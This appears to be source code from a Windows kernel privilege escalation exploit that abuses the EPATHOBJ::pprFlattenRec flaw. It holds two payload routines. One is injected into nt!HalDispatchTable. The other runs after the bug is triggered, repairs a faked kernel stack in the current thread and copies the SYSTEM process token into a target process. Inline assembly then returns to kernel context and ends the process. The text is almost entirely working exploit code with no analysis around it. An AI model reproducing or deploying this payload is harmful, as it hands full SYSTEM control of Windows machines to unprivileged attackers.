// This routine is injected into nt!HalDispatchTable by EPATHOBJ::pprFlattenRec. ULONG __stdcall ShellCode(DWORD Arg1, DWORD Arg2, DWORD Arg3, DWORD Arg4) { PVOID TargetProcess; // Record that the exploit completed. Finished = 1; // Fix the corrupted HalDispatchTable, HalDispatchTable[1] = HalQuerySystemInformation; // Find the EPROCESS structure for the process I want to escalate if (PsLookupProcessByProcessId(TargetPid, &TargetProcess) == STATUS_SUCCESS) { PACCESS_TOKEN SystemToken; PACCESS_TOKEN TargetToken; // Find the Token object for my target process, and the SYSTEM process. TargetToken = (PACCESS_TOKEN) PsReferencePrimaryToken(TargetProcess); SystemToken = (PACCESS_TOKEN) PsReferencePrimaryToken(*PsInitialSystemProcess); // Find the token in the target process, and replace with the system token. FindAndReplaceMember((PDWORD) TargetProcess, (DWORD) TargetToken, (DWORD) SystemToken, 0x200); } return 0; }
// This routine is where I land after successfully triggering the vulnerability. VOID FirstStage() { FARPROC DbgPrint; FARPROC PsGetCurrentThread; FARPROC PsGetCurrentProcessId; FARPROC PsGetCurrentThreadStackBase, PsGetCurrentThreadStackLimit; FARPROC PsLookupProcessByProcessId; FARPROC PsReferencePrimaryToken; FARPROC ZwTerminateProcess; PVOID CurrentProcess; PVOID CurrentThread; PVOID TargetProcess, *PsInitialSystemProcess; DWORD StackBase, StackLimit, NewStack; DWORD i; LIST_ENTRY *ThreadListHead; HANDLE pid; HANDLE pret; // Keep interrupts off until I've repaired my KTHREAD. __asm cli // Resolve some routines I need from the kernel export directory DbgPrint = KernelGetProcByName("DbgPrint"); PsGetCurrentThread = KernelGetProcByName("PsGetCurrentThread"); PsGetCurrentThreadStackBase = KernelGetProcByName("PsGetCurrentThreadStackBase"); PsGetCurrentThreadStackLimit = KernelGetProcByName("PsGetCurrentThreadStackLimit"); PsInitialSystemProcess = KernelGetProcByName("PsInitialSystemProcess"); PsLookupProcessByProcessId = KernelGetProcByName("PsLookupProcessByProcessId"); PsReferencePrimaryToken = KernelGetProcByName("PsReferencePrimaryToken"); ZwTerminateProcess = KernelGetProcByName("ZwTerminateProcess"); CurrentThread = (PVOID) PsGetCurrentThread(); StackLimit = (DWORD) PsGetCurrentThreadStackLimit(); StackBase = (DWORD) PsGetCurrentThreadStackBase(); //DbgPrint("FirstStage() Loaded, CurrentThread @%p Stack %p - %p\n", // CurrentThread, // StackBase, // StackLimit); NewStack = StackBase - ((StackBase - StackLimit) / 2); // First I need to repair my CurrentThread, find all references to my fake kernel // stack and repair them. Note that by "repair" I mean randomly point them // somewhere inside the real stack. // Walk only the offsets that could possibly be bad based on testing, and see if they need // to be swapped out. O(n^2) -> O(c) wins the race! for (i = 0; i < sizeof(ethreadOffsets) / sizeof (DWORD); i++) { CheckAndReplace((((PDWORD) CurrentThread)+ethreadOffsets[i]), (DWORD) &KernelStackPointer[0], (DWORD) &KernelStackPointer[KernelStackSize - 1], (DWORD) NewStack); } // Find the EPROCESS structure for the process I want to escalate if (PsLookupProcessByProcessId(TargetPid, &TargetProcess) == STATUS_SUCCESS) { PACCESS_TOKEN SystemToken; PACCESS_TOKEN TargetToken; // What's the maximum size the EPROCESS structure is ever likely to be? CONST DWORD MaxExpectedEprocessSize = 0x200; // DbgPrint("PsLookupProcessByProcessId(%u) => %p\n", TargetPid, TargetProcess); //DbgPrint("PsInitialSystemProcess @%p\n", *PsInitialSystemProcess); // Find the Token object for my target process, and the SYSTEM process. TargetToken = (PACCESS_TOKEN) PsReferencePrimaryToken(TargetProcess); SystemToken = (PACCESS_TOKEN) PsReferencePrimaryToken(*PsInitialSystemProcess); //DbgPrint("PsReferencePrimaryToken(%p) => %p\n", TargetProcess, TargetToken); //DbgPrint("PsReferencePrimaryToken(%p) => %p\n", *PsInitialSystemProcess, SystemToken); // Find the token in the target process, and replace with the system token. FindAndReplaceMember((PDWORD) TargetProcess, (DWORD) TargetToken, (DWORD) SystemToken, MaxExpectedEprocessSize, TRUE); // Success pret = 'w00t'; } else { // Maybe the user closed the window? // Report this failure pret = 'LPID'; } __asm { mov eax, -1 // ZwCurrentProcess macro returns -1 mov ebx, NewStack mov ecx, pret mov edi, ZwTerminateProcess mov esp, ebx // Swap the stack back to kernel-land mov ebp, ebx // Swap the frame pointer back to kernel-land sub esp, 256 push ecx // Push the return code push eax // Push the process handle sti // Restore interrupts finally call edi // Call ZwTerminateProcess __emit 0xCC; // Hope we never end up here } }